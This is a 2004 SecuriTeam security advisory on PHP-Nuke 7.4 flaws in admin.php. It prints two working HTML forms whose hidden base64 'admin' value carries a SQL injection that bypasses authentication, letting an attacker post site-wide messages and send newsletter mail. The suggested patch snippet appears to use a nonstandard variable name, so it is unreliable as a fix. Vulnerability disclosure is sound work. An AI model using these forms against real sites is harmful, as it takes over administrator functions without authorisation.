

[UNIX] PHP-Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0024.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/12/04

To: list@securiteam.com

Date: 12 Sep 2004 15:05:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PHP-Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features

SUMMARY

" <<http://www.phpnuke.org/>> PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases".

Two cross site scripting vulnerabilities allow an attacker to post a message in the newsletter mailing list and post global homepage messages as well.

DETAILS

Vulnerable Systems:

* PHP-Nuke version 7.4

In the admin.php file there are improper user permission checks for the admin HTTP parameter passed. This allows an attacker to perform POST queries to the system with results that are not normally possible.

Securiteam: [UNIX] PHP-Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features

In order to, for example, post global homepage messages, the following HTML form can be constructed:

```
----- Begin Code
-----
<form name="mantra" method="POST"
action="http://www.sitewithphpnuke.com/admin.php">
  <p>TITLE:
    <input type="text" name="add_title">
    <br>
  CONTENT:
    <textarea name="add_content" rows=10 cols=50></textarea>
    <br>
  DATE:
    <input type="text" name="add_mdate">
    <br>
  E-MAIL:
    <input type="text" name="add_expire">
    <br>
  <input type="hidden" name="add_expire" value="0">
    <br>
  <input type="hidden" name="add_active" value="1">
    <br>
  <input type="hidden" name="add_view" value="1">
    <br>
    <input type="hidden" name="admin"
value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
    <br>
    <input type="hidden" name="add_radminsuper" value="1">
    <br>
    <input type="hidden" name="op" value="addmsg">
  </p>
  <p>
    <input type="submit" name="Submit" value="Post this message">
    <br>
  </p>
</form>
----- End Code
-----
```

In order to inject a message into the newsletter mailing list, construct the following form:

```
----- Begin Code
-----
<form name="mantra" method="POST"
action="http://www.sitewithphpnuke.com/admin.php">
  <p>TITLE:
    <input type="text" name="title">
    <br>
  CONTENT:
    <textarea name="content" rows=10 cols=50></textarea>
    <br>
```

Securiteam: [UNIX] PHP–Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features

```
<input type="hidden" name="admin"
value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="massmail_send">
</p>
<p>
<input type="submit" name="Submit" value="Send to target site
newsletter">
<br>
</p>
</form>
```

----- End Code

Patch Availability:

There is no official patch but a small permission–based check workaround can be applied to admin.php:

```
if ( !empty($_HTTP_GET_VARS['admin']) ) {
    die("Shit! Mantra wins =)");
}

if ( !empty($_HTTP_POST_VARS['admin']) ) {
    die("Shit! Mantra wins =)");
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:mantra@ntj.it> Pierquinto Manco.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list–unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list–subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.